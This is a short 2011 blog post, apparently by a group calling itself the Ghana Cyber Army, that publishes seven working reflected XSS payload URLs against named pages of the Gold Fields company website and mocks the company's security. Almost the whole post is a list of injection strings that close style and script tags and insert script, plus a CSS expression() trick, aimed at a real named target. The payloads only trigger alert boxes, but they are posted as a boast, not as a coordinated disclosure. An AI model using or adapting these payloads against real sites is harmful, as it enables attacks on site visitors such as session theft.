Thursday, 1 December 2011

Multiple XSS Pages Found In Gold Fields (goldfields) by Ge3h

The Ghana Cyber Army is at it again.
Ge3h found these Multiple XSSeds in Gold Fields funny hmhhm with the gold they no fit
keep a single site protected.

Links:
http://www.goldfields.co.za/search.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

http://www.goldfields.co.za/inv_calendar.php?yearMonthDay=20111110&yearMonth=201111%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert(0x000823)%3C%2Fscript%3E

http://www.goldfields.co.za/search.php?zoom_and=0&zoom_per_page=3&zoom_query=3&zoom_sort='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000A83)%3C/script%3E

http://www.goldfields.co.za/search.php?zoom_query=3&zoom_and=1&zoom_sort='"--></style></script><script>alert(0x000A87)</script>

http://www.goldfields.co.za/inv_calendar.php?yearMonth=201110%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert(0x000F5E)%3C%2Fscript%3E

http://www.goldfields.co.za/search.php?zoom_query=search+this+site&zoom_page=2%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert(0x001C4A)%3C%2Fscript%3E&zoom_per_page=10&zoom_cat=-1&zoom_and=0&zoom_sort=0

http://www.goldfields.co.za/search.php?zoom_query=search+this+site&zoom_page=2&zoom_per_page=10%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert(0x001C8F)%3C%2Fscript%3E&zoom_cat=-1&zoom_and=0&zoom_sort=0


And even more to come................................................ soon

No comments:

Post a Comment